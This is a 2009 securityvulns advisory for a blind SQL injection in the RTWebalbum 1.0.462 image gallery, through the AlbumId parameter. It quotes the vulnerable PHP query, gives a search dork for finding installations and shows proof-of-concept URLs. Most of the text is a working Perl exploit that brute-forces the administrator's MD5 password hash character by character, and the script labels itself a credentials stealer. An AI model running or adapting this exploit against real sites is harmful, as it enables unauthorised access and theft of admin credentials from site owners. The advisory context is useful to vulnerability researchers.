BLIND SQL INJECTION exploit (GET var 'AlbumID')--RTWebalbum 1.0.462-->

2009-05-11T00:00:00
ID SECURITYVULNS:DOC:21794
Type securityvulns
Reporter Securityvulns
Modified 2009-05-11T00:00:00

Description

!/usr/bin/perl

-----------------------------------------------------------------

BLIND SQL INJECTION (GET var 'AlbumID')--RTWebalbum 1.0.462-->

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CMS INFORMATION:

-->WEB: http://rtwebalbum.x12.pl/

-->DOWNLOAD: http://sourceforge.net/projects/rtwebalbum/

-->DEMO: http://rtwebalbum.x12.pl/

-->CATEGORY: CMS / Image Gallery

-->DESCRIPTION: Free web album scripts in PHP. Include administration panel to easy

manage content of album. If you decide to use this web...

CMS VULNERABILITY:

-->TESTED ON: firefox 3

-->DORK: "2007 Rafal Kucharski"

-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT

-->AFFECT VERSION: v1.0.462 (maybe <= ?)

-->Discovered Bug date: 2009-05-04

-->Reported Bug date: 2009-05-04

-->Fixed bug date: 2009-05-06

-->Info patch (1.0.574): http://sourceforge.net/projects/rtwebalbum

-->Author: YEnH4ckEr

-->mail: y3nh4ck3r[at]gmail[dot]com

-->WEB/BLOG: N/A

-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.

-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

-----------

BUG FILES:

-----------

Path --> [HOME_PATH]/index.php

It contents:

...

if (!isset($_GET['AlbumId'])) {

$AlbumId = 0;

} else {

$AlbumId = $_GET['AlbumId'];

}

...

if ($AlbumId <> 0){

$picArr = array();

$query = "SELECT * FROM pictures WHERE AlbumID=".$AlbumId." order by ID";

$result=mysql_query($query);

...

}

------------

CONDITIONS:

------------

**Exist a valid image with title

**gpc_magic_quotes=off/on

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PROOF OF CONCEPT (BLIND SQL INJECTION):

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http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=1%23 --> title is displayed (true)

http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=0%23 --> title is not displayed (false)

*************

SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ...

*************

-------------------------------------------------------------------

*************

GREETZ TO: SPANISH H4ck3Rs community!

*************

use LWP::UserAgent; use HTTP::Request;

Subroutines

sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; }
if($linux){ system("clear"); } else{ system("cls"); system ("title RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit"); system ("color 03"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[0]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[XxX] RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit\n"; print "\t[XxX] USAGE MODE: [XxX]\n"; print "\t[XxX] perl $0 [HOST] [PATH] [AlbumID]\n"; print "\t[XxX] [HOST]: Web.\n"; print "\t[XxX] [PATH]: Home Path. Not path: no-path\n"; print "\t[XxX] [AlbumID]: Valid AlbumID.\n"; print "\t[XxX] Example: perl $0 'www.example.es' 'rtwebalbum' '1'\n"; } sub error { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS NOT VULNERABLE!\n"; print "\tMaybe --> \n"; print "\t1.-Patched\n"; print "\t2.-AlbumID doesn't exist\n"; print "\t3.-AlbumID hasn't available image\n"; print "\t4.-output needs more characters\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; } sub testedblindsql { print "\t-----------------------------------------------------------------\n"; print "\tWEB IS VULNERABLE!\n"; print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n"; } sub password {

Finally password...md5= 32-digits

$k=1; $z=48; while(($k<=32) && ($z<=126)){ my $blindsql=$_[0].'+AND+ascii(substring((SELECT+password+FROM+config),'.$k.',1))='.$z.'%23'; $output=&request($blindsql); if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/)) { $pass=$pass.chr($z); $k++; $z=47; } if($z==57) { $z=96; }

new char

    $z++; 
    }

return $pass; }

Main

&lw; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; print "\t\t## RTWebalbum v1.0.462 - BLIND SQL Injection Exploit ##\n\n"; print "\t\t## Author: Y3nh4ck3r ##\n\n"; print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t\t## Proud to be Spanish! ##\n\n"; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n";

Init variables

    my $host=$ARGV[0];
    my $path=$ARGV[1];      
    my $AlbumID=$ARGV[2];

Build the uri

    if&#40;$path eq &quot;no-path&quot;&#41;{
            $finalhost=&quot;http://&quot;.$host.&quot;/index.php?AlbumId=&quot;.$AlbumID;
    }else{
            $finalhost=&quot;http://&quot;.$host.&quot;/&quot;.$path.&quot;/index.php?AlbumId=&quot;.$AlbumID;
    }

Check all variables needed

$numArgs = $#ARGV + 1; if($numArgs<=2) { &helper; exit(1);
} $finalrequest = $finalhost;

Testing blind sql injection

$blindsql=$finalrequest."+AND+1=1%23"; #blind sql injection $output=&request($blindsql); if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/)) {
#blind sql injection is available &testedblindsql; }else{ #Not injectable &error; exit(1); }

Bruteforcing password...

$passhash=&password($finalrequest); print "\n\t\t*******\n"; print "\t\t* EXPLOIT EXECUTED (CREDENTIALS STEALER) *\n"; print "\t\t*******\n\n"; print "\t\tAdmin: admin (always)\n"; print "\t\tAdmin-password(md5 hash):".$passhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1);

Ok...all job done